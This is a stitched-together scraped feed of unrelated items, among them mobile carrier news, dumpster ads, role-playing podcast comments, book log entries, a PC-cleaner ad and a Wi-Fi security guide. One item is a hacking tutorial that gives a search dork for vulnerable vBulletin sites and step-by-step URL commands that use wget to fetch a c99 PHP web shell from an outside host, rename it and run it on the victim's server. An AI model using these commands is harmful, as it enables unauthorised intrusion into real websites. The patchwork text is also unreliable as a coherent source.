AT&T is far from being the only major wireless carrier that offers HD Voice though. Sprint may have been the first off the blocks, offering its customers a 30-day trial run of its HD Voice service in June earlier this year. Even Verizon Wireless is working on its own HD Voice brand, and the talk is that the Big Red will utilizing the AMR-wideband standard (the industry norm) for its service.

Interestingly, AT&T and Verizon Wireless are working together in providing clear call quality in both their customers. If they can pull this off, AT&T customers will be able to call their friends and family who are on Verizon as clearly as possible, and vice versa.

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          AT&T Throttles Users On Unlimited Data Plans Regardless Of Network Congestion        
AT&T Throttles Users On Unlimited Data Plans Regardless Of Network Congestion

AT&T has confirmed that it is throttling subscribers under its unlimited data plans, no matter how congested the network is. 

As reported by Ars Technica, subscribers who are using non-LTE 3G/HSPA+ handsets and are under unlimited data plans only get throttled when network congestion becomes heavy, and when the users exceed 3 gigabytes of data within a single billing period. But apparently, these same conditions do not apply to customers on LTE.

If a subscriber is under, say, a legacy AT&T unlimited plan and uses up more than 5 gigabytes of data on an LTE-compatible handset in a span of a month, the subscriber's data speeds will automatically be reduced for the remainder of the billing period, even if the network remains free of congestion.

Ars Technica further reported that data speeds slowed down from 23.5 mbps on average to just 0.1 mbps. When the subscriber's billing period is reset, only then are the data speeds returned to their normal levels. However, once the subscriber reaches 5 gigabytes, data speeds are automatically reduced again.

For its part, AT&T issued a statement defending its network management practices as legitimate. The carrier claims that the throttling was put in place in order to provide optimum network service for its subscribers.

AT&T further added that it is planning to address the data throttling concerns between its LTE and non-LTE unlimited subscribers sometime next year. The carrier says that it will be reducing data speeds for LTE users in congested networks as soon as that option is made available.

AT&T may be claiming that it is throttling data speeds for the benefit of all customers using its networks. But others see the throttling as a ploy to lead on long-term customers to more lucrative limited data plans. This tactic has been employed before, namely by Sprint for its Unlimited My Way and My All-In plans. Even Verizon Wireless thought of doing the same thing, but then the Federal Trade Commission (FTC) stepped in and pressured Big Red to reverse its decision. 

Right now, fewer than 20 percent of all AT&T customers are under unlimited data plans. Those that are signed up for the plans because they were thinking they could stream and download without having to worry about high overage fees if they exceed their data allotments. But it appears that they are getting throttled anyway, rendering their data privileges useless. 

As for the network congestion claims, some may find it hard to believe, especially when the subscribers who are under more expensive data plans (up to 100 gigabytes each month) never get to experience throttled data speeds.

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          Sprint Introduces Deal To Reduce Bills Of AT&T, Verizon Customers In Half        
Sprint Introduces Deal To Reduce Bills Of AT&T, Verizon Customers In Half

When it comes to grabbing customers from rival wireless carriers, Sprint does not seem to shy away from unusual tactics. Just recently for instance, the carrier introduced a new deal that promises to cut the bills in half of any customer from competitors AT&T and Verizon Wireless. Of course, for the customers to avail of the deal, they would have to produce a current AT&T or Verizon bill. It is a gutsy move for sure, but will it be effective? 

Sprint is calling the deal the Cut Your Bill in Half promo. In this deal, anybody who is currently on an AT&T or Verizon plan and wants to switch to Sprint, must first furnish a copy of their current bills, and either upload them to Sprint's website, or hand-deliver them to any official Sprint store. Sprint will then evaluate the bill submitted, and decide which Sprint plan matches it in terms of calls, text messaging, and data allotment. Sprint will then offer that matching plan for half the price of the defecting subscriber's current AT&T or Verizon plan.

For instance, a customer who hands in a bill for a Verizon family plan costing $260 each month will be offered a family plan with similar inclusions but only for $130 each month.

Sprint already launched a promotion wherein it covered early termination fees up to $350 in the form of a prepaid Visa gift card. This can be paired with the new Cut Your Bill in Half promo, as long as the customer qualifies.

There are a few caveats, of course. One, those who avail of this promo will not be able to buy a subsidized handset from Sprint. They must sign up for the carrier's leasing program, make installment payments, or buy the device outright at its full retail price. Two, participants will have to turn in their current AT&T or Verizon handsets to Sprint. Understandably, it would be weird using an AT&T or Verizon device on Sprint's network, but still, you would be parting ways with something that you've gotten used to. What if you don't have a smartphone to turn in? (Got lost, perhaps?) Sprint will then charge you $200 per line of service. It is not clear yet what Sprint plans to do with the devices that are turned in though. 

Sprint's Cut Your Bill in Half promo is offered on a limited time only. However, people who participate in the deal will be able to keep enjoying discounted bills in the future as long as they do not add more data or minutes. Once they do, their plans will be reverted the normal pricing structure.

One more thing -- this promo is off limits to T-Mobile subscribers. One possible reason is that T-Mobile is already competing with Sprint in offering slashed data prices in a manner that the other carriers, AT&T and Verizon, are not. 

And because the promo is designed to lure AT&T and Verizon subscribers, Sprint's own existing subscribers will not be able to take advantage of the deal. Find out what other deals Sprint is offering right now -- start comparing Sprint plans and phones now.

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          AT&T Includes Data Throttling To GoPhone Prepaid Plans        
ATT Includes Data Throttling To GoPhone Prepaid Plans

AT&T has made changes to two its high-end GoPhone prepaid smartphone plans. The carrier's $60 and $45 prepaid smartphone plans now include unlimited calls and text messaging, plus 2.5 gigabytes and 1 gigabytes of data, respectively. 

Previously, subscribers would have to pay $10 for 1 gigabyte or 500 megabytes of extra data. But now with the latest changes in the GoPhone prepaid plans, once subscribers use up all of their high-speed allotment, they will still continue to get data -- it is just going to be throttled at speeds of up to 128 kbps (unlike before wherein the data gets completely cut off). 

AT&T's prepaid plan will keep on listing those $10 for 1 gigabyte/500 megabyte options, which means subscribers can still pay extra to add more high-speed data to their plans. 

We know, we know -- 128 kbps is certainly not much. Still, it is a better deal compared to having your data discontinued entirely if you do not want to or can not pay extra for additional data usage. 

So if you are currently under any one of AT&T's high-end prepaid smartphone plans, you no longer have to worry about your data getting cut off as your megabyte allotment is about to be used up, even if you still have a number of days left on your bill. 

Say, for example, you are currently under a 1 gigabyte data plan and you have already reached 1 gigabyte but still have 8 days left on the bill. Before, you wouldn't be able to get any additional data, and even if you did, you would be charged with the overage. 

Well, that changes now with AT&T's latest tweaks on its GoPhone prepaid smartphone plans. Instead of getting cut off, you simply get throttled data, down to speeds of up to 128 kbps. 

Let's face it -- 128 kbps is definitely slow by today's standards. But it is still unlimited, which means you can still download to your heart's content, just not as fast as you would prefer.

In related news, AT&T has also announced a new monthly plan for those in the United States, Canada,and Mexico. In this plan, users in those regions can enjoy unlimited calls, text messaging, and data with 1 gigabyte of high-speed data when in the US, for $55 per month. 

If you take your device and plan across the border to either Canada or Mexico, you can make calls at $0.01 per minute, send unlimited text, picture and video messages, and even purchase a $25 1 gigabyte data plan. 

If you are within the US, you get to enjoy unlimited text messaging to Canada, Mexico, and to more than 100 other countries.

Know more about AT&T deals -- start comparing AT&T plans here.

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          Nexus 6 Pre-Orders Start November 12th At AT&T; Goes On Sale November 14th At Sprint        
Nexus 6 Preorders at ATT and Sprint

Good news for Nexus 6 fans. Google's latest Nexus phablet will start to become available for purchase at two major wireless carriers this week. 

AT&T has confirmed that the Nexus 6 will become available for pre-ordering starting on Wednesday, November 12th. The device is priced at $249 on-contract. Buyers, however, can opt to purchase the phablet at its full retail price of $682.99 and pay off that total amount over the course of 20, 24, or 30 regular monthly payments via AT&T's Next 12, Next 18, and Next 24 plans, respectively. Unfortunately, AT&T has not yet provided any shipping estimates for the Nexus 6 as of this writing. But it will not be long now until the carrier makes announcement regarding availability.

Two days later on Friday, November 14th, the Nexus 6 will become available on Sprint's stores. As announced by Sprint, the phablet will be priced at $696 off-contract, with $0 down payment and 24 regular monthly payments of $29 through the carrier's Easy Pay plan. 

Also, it should be noted that Sprint will only be offering the Midnight Blue 32 gigabyte edition of the Nexus 6 smartphone.

As one might notice, the device does have a rather high price tag. That may not be too surprising. The Nexus 6 smartphone after all sports an enormous 6-inch 2560 by 1440 resolution display screen, and a 13-megapixel rear camera. 

Hardware-wise, it packs a Snapdragon 805 processor, 32 gigabytes (or 64 gigabytes) of internal storage, 3 gigabytes of random access memory (RAM), and a powerful 3,220 mAh battery.

It is also the first smartphone to have Android 5.0 Lollipop, the newest version of the Android mobile operating system. This updated edition of the world's most popular smartphone OS is truly a joy to behold, featuring a neater design further enhanced with animations and a more user-friendly interface and environment.

In the last two weeks, the Nexus 6 has only been made available through the Google Play Store and directly from Motorola, the phone maker who collaborated with Google in bringing the phablet to life.

In a few days, users will be able to get them from two of the four major wireless carriers in 
the United States. While AT&T and Sprint have already joined the party, many are expecting the other big boys (T-Mobile and Verizon Wireless) to follow suit.

Interested to learn more about AT&T and Sprint offers? Browse AT&T phones and plans here, or explore Sprint deals here.

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          CD REVIEWS 47        
JUICE MAGAZINE CD REVIEWS ISSUE #47 THE CAUSEY WAY - With Open and Loving Arms (Alternative Tentacles) Maybe if David Koresh played aggro surf music, ATF might not have burned his ass to the ground. If and when Causey has to defend his tax exempt Read More
          Waste Management Specialists! dumpster Livingston NJ        
•We handle all types of debris, trash, waste, rubbish. •Service to meet your needs. •We can spec out the job to your plans from start to job completion. •We now service commercial, industrial, residential accounts. •We also do residential house … Continue reading
          Waste Management Specialists! Dumpster Clark NJ        
•We handle all types of debris, trash, waste, rubbish. •Service to meet your needs. •We can spec out the job to your plans from start to job completion. •We now service commercial, industrial, residential accounts. •We also do residential house … Continue reading
          Waste Management Specialists! Dumpster Millburn NJ        
•We handle all types of debris, trash, waste, rubbish. •Service to meet your needs. •We can spec out the job to your plans from start to job completion. •We now service commercial, industrial, residential accounts. •We also do residential house … Continue reading
          We are waste management professionals – Dumpster Cranford NJ        
Why should we be your first choice for trash and debris removal? We at Dumpster Cranford NJ are also upfront with all of our costs. You know what to expect for our services. The other waste disposal companies always have … Continue reading
          We are waste management professionals – Dumpster Irvington NJ        
Why should we be your first choice for trash and debris removal? We at Dumpster  Irvington NJ are also upfront with all of our costs. You know what to expect for our services. The other waste disposal companies always have … Continue reading
          Cop Hate Rules the Evening at the 2015 MTV VMAs        

Whether jokingly implied or painfully obvious, the 2015 MTV VMAs did not hide their support for the #BlackLivesMatter movement by providing some cop hate to go along with the movement’s mantra of violence and hatred towards police. All this while they sat safely inside the LAPD-guarded Microsoft Theater having their fun. I’m sure all of the celebrities arrived and left unguarded, especially Miss Miley Cyrus.

Actress Rebel Wilson made a show of saying “F*ck the Police Strippers” here.

**WARNING: EXPLICIT LANGUAGE**


          'The Carmichael Show' Takes on Black Lives Matter in a Surprising Way        

The Carmichael Show continues to pleasantly surprise (read about the pilot here) with its second episode, "Protest." It opens with the news that there is a protest going on because an unarmed teenager was shot by police in the city.


          Comment on Bonus AP: Apocalypse World Part 4 by Armand K.        
Started listening to these and am really enjoying them. Can I ask what the music in the background is? Would be nice having it on hand to enjoy.
          Comment on Episode 210: Characterization by Megan        
I practice for RPGs, but generally when I know that I'm going to be doing a character thing that doesn't specifically come naturally to me. For example, I practiced accents and vernacular prior to heading into the studio to record with One Shot Podcast a few weekends ago. That to me felt more like acting than playing a game to me, and I approached it like I would a performance gig. I've done prep work for Jank Cast APs before when I know that we're recording a specific thing for an audience to listen to, because again - it's a permanent thing that will exist for people to consume as entertainment. As far as games I'm not "performing" in, I do tend to research things that will be instrumental to my character so that when the time comes for me to add to the narrative, I can do it from an informed place. I did some prep like this for my latest Mountain Witch game, mostly so that when I was describing things my samurai used and wore that they were correct, and so that when I added detail into the narrative, that it was period correct. I find that I draw a lot of my RP in the moment via improv and Meisner technique skills I've learned over the years, so from a perspective of relationships and allowing myself to be affected by actions/dialogue/events, I prefer to be a blank slate in game. This does not, however, keep me from making speeches that I WOULD HAVE SAID in that perfect moment when I get home from a game session that I just didn't think of at the time. My cats love them. Even though it's a weird little unpacking mechanism I have, I do find it helps to set me up for the next session, because I can practice my character's voice and their intentions.
          Comment on Episode 210: Characterization by William Palmer        
Nice episode, I feel like y'all only scratched the surface on this one. I like the idea of characterization coming in the moment, from choices. So in a RPG context every time you have to make a choice or speak in character (which I guess is a choice) you decide in that moment who your character is, based on what has come before, and then from the directors stance, what you want to happen. in a video game context like Mass Effect every time you come to a decision point, the game is asking you to characterize your version of its protagonist to be either Paragon, neutral or correct. :) As much as we'd like perfect consistency, characterization changes (outside of intentional character arcs) whether we want it to or not. This comes from the gaps between play sessions, differences in our emotional play state (bleed), and the (almost necessarily) fluid nature of characters in the shared imagined landscape. This isn't a bad thing most of the time because it's minor and we modify our characters slightly based on the outcomes we as players would like to see. In a recent game of Eclipse Phase I just ran over Roll20 I had all the characters introduce themselves with a dream sequence. I made it very clear that this was to be an opportunity for solo storytelling and had everyone else follow the microscope rules of shutting up and not helping as to preserve a unique vision. It went over really well, even if we had a few more pauses for thought than normal, and even over Roll20 the characterization was very clear and shined through. That's another thing, characterization is much easier in person or through text than it is online which has always been one of my bigger pet peeves with online gaming. In person you get to use all of your senses, through text you get to expound as much as you'd like, online you're normally restricted to voice and actions. It makes you work harder and practice which brings a lot to in person games. Yet another thing, how quickly does a character come to you? Are most NPCs at the same level of characterization in their first min of screen time as say an ApoWo character? Obviously we know more about the ApoWo character but does that come through right away or do you build that character up with every interaction/decision? I would say the later. Another way to say that would be: Are most characters defined more by what's on their sheets or what's in our heads? Could y'all post a link to 183 days from the rants section? I seem to be having trouble finding it. https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#newwindow=1&q=183+days+rpg Oh, have y'all ever Janked (that's now a thing, I'm making it a thing) about practicing for RPGs? If not, I have a potentially stupid topic for a cast, Do You Practice for RPGs? We practice writing, tennis, medicine, improv, calculus, sex, woodworking, and juggling; why not RPGs? This may be something that I'm alone in doing but I first took up acting in local theater partially because I thought it would bring something to my "craft" of role-playing. A lot of the time when I'm watching movies (especially bad but interesting ones like "In Time" or Divergent) I'm thinking about how I would translate that into a game (Fate conversion and Misspent Youth in those cases) and I'm logging away interesting choices or details that I can later bring back to the table. Staying in genre can be difficult when you have 5 different peoples conceptions of what noir is. But when you reference a movie or book everyone is familiar with then people are suddenly on the same page both conceptually and thematically. In general when I'm about to play in a game, or even worse run one, I often immerse myself in fiction of that genre to get it right. which seems like practicing a genre for an RPG to me. I've watched more than a few online videos on voice acting (see Roll20 stuff above). My bedside readers are fiction and things like Long-Form Improv by Hauck and Writing 21st Century Fiction by Maass. I've even run experimental one shots before to test out narrative concepts, like extreme flashbacks that only tie in tangentially to the main story, or practice something else unusual. I've never really retroactively declared anything longer than a one shot practice before but my first couple of fumbling forays into RPGs with D&D (because of coarse it was D&D) could certainly be called practice. I know RPGs aren't supposed to have a goal per se but what I'm striving for are improvisational stories that surprise me, thrill me, and touch my heart. What I'm after is a fluid game with little overt communication about it between players in the moment (all I'm asking for is mind reading here!). What I desire is a game that could be written down and sold as a good book and I feel like that takes practice. I practice to impress others, I practice to feel more relaxed and confident, but most importantly I practice to have a more distilled, better quality of fun. P.S. Your'e welcome for the text wall!
          Comment on JANK 200! by mrm1138        
I am hopelessly behind on my podcasts, so I only just got around to listening to this today. There were two things that struck me about this episode. You'll have to forgive me, though, because I'm not good at remembering the names of the casters and whose voice is whose. First, I must say that the idea of regimented interaction is precisely why I enjoy gaming. I'd always considered myself an introvert, but my wife, who is truly an introvert, has classified me as an extrovert who is just painfully shy. She can't stand to be around people for more than a couple hours and a time and needs to go home and have a lot of downtime to recharge. (She has never gotten into RPGs—as opposed to board games or card games—because the idea of spending several hours being forced to interact with people sounds like a nightmare to her.) I, on the other hand, really enjoy being around people for long periods of time. The only problem is that I have trouble keeping up a conversation unless there's something very definite to talk about, and that's where games come in. Second, when one of the casters mentioned that tabletop roleplaying gamers tend to be a progressive group of people (and that he himself was an activist for a time), I definitely agreed. I am huge into comic books, but one of the reasons I can't stand to listen to comic book podcasts is because the hosts tend to be your typical bigoted fanboys who will go into a nerd rage if a previously straight character comes out of the closet, or a white superhero is replaced by another character of a different skin color* or sex, or anything they perceive as being political correctness being forced into their comics. While the TTRPG community's record certainly isn't spotless—there were some particularly vile comments from TTRP-gamers after Gen Con delivered the press release regarding Indiana's "religious freedom" bill—I don't feel that the bigotry involved is nearly as rampant as it is in the worlds of comics and video games. *See the recent announcement of Miles Morales replacing Peter Parker as Spider-Man in the main Marvel Universe.
          Comment on Episode 198- What’s Up With Licensed Games? by mrm1138        
I had a couple questions about the topics brought up on this episode. 1) Re: a Conan RPG, have you tried either Barbarians of Lemuria or On Mighty Thews? I unfortunately haven't yet had a chance to play either, but I know they were both made specifically to emulate the sword & sorcery genre. I'd be curious to hear how you feel they stack up. 2) DC Adventures/Mutants & Masterminds are very well received superhero games, but considering that they are derived from the d20 system, how do you feel they stack up to something like BASH!, which uses 2d6 times the attribute, or Supers!, which uses a dice pool?
          Comment on Episode 195: Franchise Mashup Challenge!!!!!! by David Jay        
This ep was really cool. I know there's a stigma against "tell me about your campaign" stories, but I love them--especially when the teller is as passionate as Kev was here (PS: college is terrible, more Walking Eye please :P). I've always thought a world that mixed X-Men and Game of Thrones (A Song of Ice and Optic Blasts?) would be amazing--where a few powerful individual mutants made factions/houses around their own particular mindset. Of course, this would lead to a cold war of constant intrigues/politicking with the constant threat of all out mutant war breaking out. So, you’d have the Magneto faction of violent activists/freedom fighters, the Hellfire’s exploitative/millionaire club, Sinister’s science by any means faction, Bishop’s (maybe?) government-sponsored response team, and, not to mention, Xavier’s wanna-be superheroes all competing against each other for public opinion and new mutant recruits. After this episode, I’ve been thinking about actually doing something with that. Thanks!
          5 Refreshing Summer Cocktails        
1. Cucumber-Jalapeno Margarita Ingredients 1/2 cup fresh lime juice 1/2 cup white tequila 1/4 cup orange liqueur, such as Grand Marnier 1/4 cup simple syrup, or more as needed 4 thin slices cucumber 1 jalapeno, halved lengthwise Ice, for serving Salt for glass rims, optional Directions: Mix together the lime juice, tequila, orange liqueur, simple […]
          You Can't Keep a Good Woman Down        
You Can't Keep a Good Woman Down
author: Alice Walker
name: Marisa
average rating: 4.02
book published: 1971
rating: 4
read at: 2016/06/21
date added: 2016/06/21
shelves:
review:


          The Price of Salt        
The Price of Salt
author: Patricia Highsmith
name: Marisa
average rating: 3.92
book published: 1952
rating: 0
read at:
date added: 2015/07/06
shelves: to-read
review:


          Runaway        
Runaway
author: Alice Munro
name: Marisa
average rating: 4.00
book published: 2004
rating: 4
read at: 2015/03/24
date added: 2015/03/24
shelves:
review:
Alice Munro is my comfort food. I know that can sound strange -- many of her stories deal with loneliness, unfinished business, longing, and quiet moments of reflection. BUT -- I love how true to life they are. I think I find her comforting because she encapsulates a women's experience so beautifully. It is a rare gift to be able to describe the oddities and silence of life with such awe and respect. This is my fourth (at least?!) foray into her works and I am so happy to know there are more books out there for me to read!

          Family Furnishings: Selected Stories, 1995-2014        
Family Furnishings: Selected Stories, 1995-2014
author: Alice Munro
name: Marisa
average rating: 4.10
book published: 2011
rating: 0
read at:
date added: 2014/12/15
shelves: to-read
review:


          Bad Feminist        
Bad Feminist
author: Roxane Gay
name: Marisa
average rating: 3.91
book published: 2014
rating: 4
read at: 2014/12/07
date added: 2014/12/07
shelves: feminism
review:
I loved this pop culture/feminism/observational essay collection! Roxane Gay has a real gift for seemingly casual (really difficult to accomplish!)writing about intimate and complex topics. She is both devastatingly personal and conversational in tone. I especially enjoyed her essays on gender, sexuality and race -- these are the writings where she skewers politicians, popular culture and those that believe there is a right and a wrong way to practice feminism. She is poignant in the moments of self reflection, humorous when describing her scrabble competitiveness and contemplative in the parts of our society that are damaging and deeply hidden.

          Best Traffic Exchange service website | Hitleap        


There's a huge demand for traffic exchange websites. You can find "N" no. of websites out there on internet providing the service of traffic exchange. After having an experience with all of them, i came to the conclusion  Hitleap is the one of the best & top website in terms of their services, monetary profit & website performance. The website works by earning minutes by surfing others website via Hitleap viewer software & then spending them on getting traffic on your website. You can earn number of  minutes easily just by surfing others website via the hit leap viewer software, just open & let it earn minutes for you. The minutes you will be using later in order to get traffic to your submitted website. Depending upon the minutes you will be getting traffic to your URL. The submitted website needs to be approved by their moderator which is done within fraction of seconds. It also provides a feature for setting  how many second's or minutes an visitor should stay on your website.

Earning via HitLeap ?

- Some websites provide credits just by visiting the URL, you can mask them & submit it to hitleap in order to to sit back & earn. ( Will be covering this in later tutorials briefly)

- Referrals ( 10% of the minutes your referrals earn
20% of the cash value of any purchase )


Click on the below banner to visit the website & Register yourself.

Free Traffic

          WhatsApp spam used by ASProx Botnet to Deliver Kuluoz Malware        

5448944597_8e70da64ab_o.png

Photo by: Sean MacEntee




As you probably know, Facebook bought WhatsApp for an obscene amount of money in stock earlier this year. What you might not know is that there's a lot of WhatsApp spam that is being used by ASProx Botnet to deliver nasty Kuluoz malware to unsuspecting  users. This is not good news any way you look at the situation. Keep reading if you want to know more about this as well as what you should do to stay safe.


Here's a look at some of the dates when the WhatsApp problem has made Malcovery's "Today's Top Threats" list.


  1. SEPTEMBER 19, 23, 24, 25, 26
  2. OCTOBER 2, 3, 4, 7, 8, 9, 10, 11, 16, 17, 18, 21, 22, 23, 24, 25
  3. NOVEMBER 14
  4. JANUARY 9, 13, 15, 20, 28


Looking at that list, it's easy to start wondering why nothing has been done sooner about the problem. Additionally, it really makes you wonder why Facebook paid so much for the company by offering them stock options.


Going back to November of last year, ComputerWorld published an article about how WhatsApp was one of the top five brands imitated to deliver malware with spam. That's quite a bit of recognition - and not in a good way.


Here's a look at some specific ways you can stay safe and avoid Kuluoz and other malware.

  • Use Protection - The very first thing you want to do is make sure you're using some type of protection. The good news is that you don't need to spend a lot of money to get decent anti-virus software these days.
  • Update Protection - Having protection software is nice, but if you never update it at all, you're going to find that there's still a high chance your computer will get infected and quit working correctly.
  • Be Suspicious - If you're not sure of something online, you want to err on the side of caution and not take any unnecessary risks. Even with a brand like WhatsApp - that's connected to Facebook now - you want to be very careful and know what you're doing.
  • Educate Yourself - Last but most certainly not least, you should make an effort to stay informed about how malware works and the steps you can take to protect yourself from it whenever possible. This is really the best way you can make sure your computer stays safe and virus free.


Following the advice above, there's a good chance you'll be able to avoid WhatsApp spam and not get infected with Kuluoz malware. Still, it's a good idea to pay attention and update your anti-virus software all the time. If you have any experience with WhatsApp that's negative, please leave us a comment below. 







Guest Post - 
 
Written by: Jenny Corteza deals with staff outsourcing all the time. She's a writer and dealing with editors and others can sometimes be a problem. Still, she loves writing articles about technology. Go figure.






          What is Remote Code Execution? How to Hack Websites        
According to Wikipedia, Remote Code Execution can be defined as “In computer security, arbitrary code execution or remote code execution is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in arbitrary code execution vulnerability to describe a software bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such vulnerability is called an arbitrary code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shell code to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution”

vBulletin RCE Injection

Few websites running vBulletin are vulnerable to Remote Code Execution, by exploiting the vulnerability we can get our PHP backdoor shell uploaded on the website. We’ll use a dork to find the vulnerable website.

Note: Don’t keep yourself restricted when it comes to using dorks, use other search engines too other than Google, like Bing, Yahoo etc. Use of multiple search engines will help you to get more vulnerable websites.

Dork: inurl:faq.php & intext:"Warning: system() [function.system]"

Now, select any website of your choice from th search result, and go to its faq.php page. If the website is vulnerable, you will get the following on the page.


You will get an error similar to Warning: system() [function.system]: Cannot execute a blank command in [path]/faq.php(324) : eval()'d code on line 1

So, firstly upload your PHP shell on any free hosting website or you can use sh3ll.org/c99.txt as it has already got an uploaded .txt shell. (We will be first uploading our shell in .txt form, and later will be changing the extension to .php after the upload process is completed.

Suppose the vulnerable website is http://www.vulnerable.com/faq.php. So in order to upload our shell enter the following in the URL bar:

http://www.vulnerable.com/faq.php?cmd=cd /tmp;wget http://sh3ll.org/c99.txt

To check if we were able to successfully upload our shell, enter the following in the URL bar 
http://www.vulnerable.com/faq.php?cmd=cd /tmp;ls -la c99.txt

Were c99.txt is the name of your uploaded shell. If we were successful in uploading our shell, we see the following text on the page. (Might be a little different in some cases)
-rw-r—r—1 nobody nobody

We know that our shell is successful uploaded on the website, now it’s time to change the file format from .txt to .php in order to execute it on the server.

http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
(You can change check.php to any other name of your choice)

Now, the file format is change. It’s time to execute our shell, so to execute it enter the following in the URL bar
http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
 

Bingo!! We successfully exploited vBulletin Remote Code Execution Vulnerability.


          How To Speed Up Your Computer with Optimo Pro        
Computer users are inundated with tribulations frequently. The way you eat food to keep you going and to keep you fit, likewise, computer machine also needs maintenance every now and then. Your body demands food to keep you going. So how can your computer lag behind? Computer optimization is the buzz word. Everyone wants to speed up computer to reap more benefits.

Regular holdups that stall the computer’s performance become a complete nuisance. Virus attacks, malware intrusions, Trojan horse, and other cruel problems slow down the speed of your system. But most of the users find it difficult to understand the problem and resolve them. What you require is good quality pc cleaner that deals with junk files, registry errors and much more.
Quite a few PC cleaners are doing the rounds in the market, some fake and some real. Fake ones rather than solving any setback embed a set of virus and infections that results in loss of time and money. Real ones effectively optimize your computer system that helps speed up computer.
Optimo Pro is software that comes with more than one program. They scan the computer within minutes and help the customer get back to work. Within months of its launch, Optimo Pro has had immense outreach and has helped computer users, be it consumers or business. The increased usage of Optimo Pro has been phenomenal.



What all it does?

  • Removes data footprints from at least 25 browsers
  • Protects your confidentiality
  • Wipes and cleanses up to 25 browsers like Google Chrome, Safari, Firefox
  • Takes care of the clutter that clogs the system
  • Features:
  • Windows Registry cleaner
  • Apps Errors cleaner
  • Files cleaner
  • Browser cleaner
  • Short cut cleaner
  • Trace cleaner
  • Registry Optimizer
  • Junk Files cleaner
  • PC Optimizer
  • Complete computer cleaning software



All these apps work in tandem with each other and help increase the speed of your PC. A PC cleaner acts a scrubber that scrubs manifold parts of the computer and helps keep it in good shape. Be it fixing your registry or cleaning junk files, it does all.
With the kind of success Optimo Pro has gathered, it becomes worthwhile to at least give it a try. Download Optimo Pro from www.optimopro.com  and make use of the trial version. Our customer service number is 1-800-413-1289. You can ask any question and we will be more than happy to serve you.

About the Author
Anna Asthesia is chief technial head in optimopro.com & working from last 5 years. She likes to write article on windows registry , computer problems & how to find genuine online tech support for Laptops, Computers & Smartphones.You can read her latest blogs on blog.optimopro.com


          Basics Of Wi-Fi Security         


Hi all today i am just going to discuss how you can secure your wifi network from hackers. you must have came across many tips on securing wifi network from various blogs and all but here we will discuss from a hackers point of view and all practical and genuine approach to securing Wi-Fi network so lets begin.










 

 

Tips On Securing Wi-Fi Network -


Be Sure To Use the strongest wireless encryption your modem or router provide Making your wireless modem with wpa or wpa2 encrypt do give a trust that your wifi netwok is safe. Typically our router or modem uses various methods of encryption to protect data sent over wifi network. Always use WAP or WPA2 to use secure your wifi network if your router/modem is not having those encryption then never select that brand router/modem. If your modem/router does not provide WPA or WPA2 encryption it is strongly recommended that a new device be purchased.So you must have heard about WEP (Wired Equivalency Privacy) it is quite older technique of securing which easy for hackers to crack with that I can never say you are completely secure.




Remember the use(Change default pass) of strongest possible network password / network
key always ensure better security -














Again Its a simple tips which applies on all field for better security, As  you know general rule, the longer and more complicated the password, the more difficult for hackers to crack it. I do recommend to use minimum an eight character password should be used to allow access to your wireless network. And remember don't forget to change your modem/router default password people do forget it many time which lead to compromise the wifi network. Never use the same password to control or access more than one system or program and never use your wireless network name as your password! Doing such stupid activity makes things too easy for anyone to hack your wifi easily. Its obvious thing that most of the time our modems are designed to use a default password such as “admin”, “password” or the manufacturer’s name. These settings are easily accessible to a user when the modem and network is being set up, however because they are easily accessible and often use weak passwords will unless changed, remain potentially accessible to anyone who wishes to gain access. There are many sites available on internet which give away default passwords for modems /routers (vendor specific as well). Changing your modem or router’s default password offers a simple but effective security measure against unauthorized remote access.




Hide your SSID (network name)  - 









I know the Wi-Fi network is still Hack-able when SSID Is hidden but it makes thing bit difficult for hackers to crack any Wi-Fi network which is invisible. Typically all Wi-Fi network broadcast its presence (beacon frames) when they are turned on so making the SSID hidden keep another layer of protection in securing Wi-Fi network because if the network is not broadcasting its name that make difficult for hackers to hack it.




Access to Remote modem administration -

These days most modern modems or routers can be remotely administered over the internet. If yours can, then someone besides you can potentially locate your modem’s IP (Internet Protocol) address and potentially hack your modem.A simple fix to this vulnerability is to disable remote administration for your modem or router. If you absolutely require remote access then you can try limiting access to a particular IP address or limited range of addresses, to reduce the chance of unauthorized users gaining access to your modem’s configuration settings. As a general rule for home networks, remote access is not necessary and possibly the safest thing is to disable remote access to your modem/router.




MAC address filtering for improve security -



Encryption including WPA2 and strong passwords are the best methods to control who accesses your network, however most modems and routers offer further methods to control your network. It is a better option to make your Wi-Fi network more secure is to use mac filter as you know mac address (unique hardware address of a system)  so it ensure better protection .i know mac address can be spoofed but with all WPA2 and strong password ,mac filtering whole together ensure better security . All Most all modern modems offer the capability to restrict access to a wireless network to known devices (known MAC addresses). Trouble here is if you not setting mac filter properly then you man miss the Wi-Fi services (cannot connect to the network).





Enable modem/router firewall and security features -

Most modern modems and routers come standard with a built in firewall. A firewall can prevent unauthorized people accessing your network, can control which programs inside the network access the internet and should be enabled by default.Some hi-tech modems and routers also feature security programs known generally as intrusion detection systems (IDS). Such systems are capable of detecting attempts at unauthorized access to the system they are protecting and block many forms of attack. For additional security, all computers connected to your network should also have a software firewall system installed, or the manufacturer provided operating system firewall enabled.




Update your modem/router Firm-ware -

Some if your modem is outdated firm ware it may lead to some ready-made exploits using which any attacker can hack your network so it’s better to update firmware also the modem manufacturer provide this update firmware service for free (On modem’s website). Also keep one thing on mind unnecessary you should not make your wifi modem broad cast signal to long distance range (100m).its better to limit your modem/router signal upto 20-30 m. also always better to keep your modem at central position.So keep these things on mind while installing any wifi network and i am sure the hackers will definitely have to go through Hercules task.




This article is a Guest post by -  Chandrakant Nial



          Files lost after iPhone Stuck on Apple Logo? Use MiniTool Mobile Recovery for iOS        
Sometimes, you may encounter “iPhone stuck on Apple logo” issue when you want to jailbreak your device or update the iOS version. Moreover, hardware failure is another cause of this issue. When this issue happens, your iPhone is stuck on white Apple logo screen of death, and you are unable to turn the device on […]
          â€œLa clave es invertir en los niños menores de tres años, pero como país aún no sabemos hacerlo”        
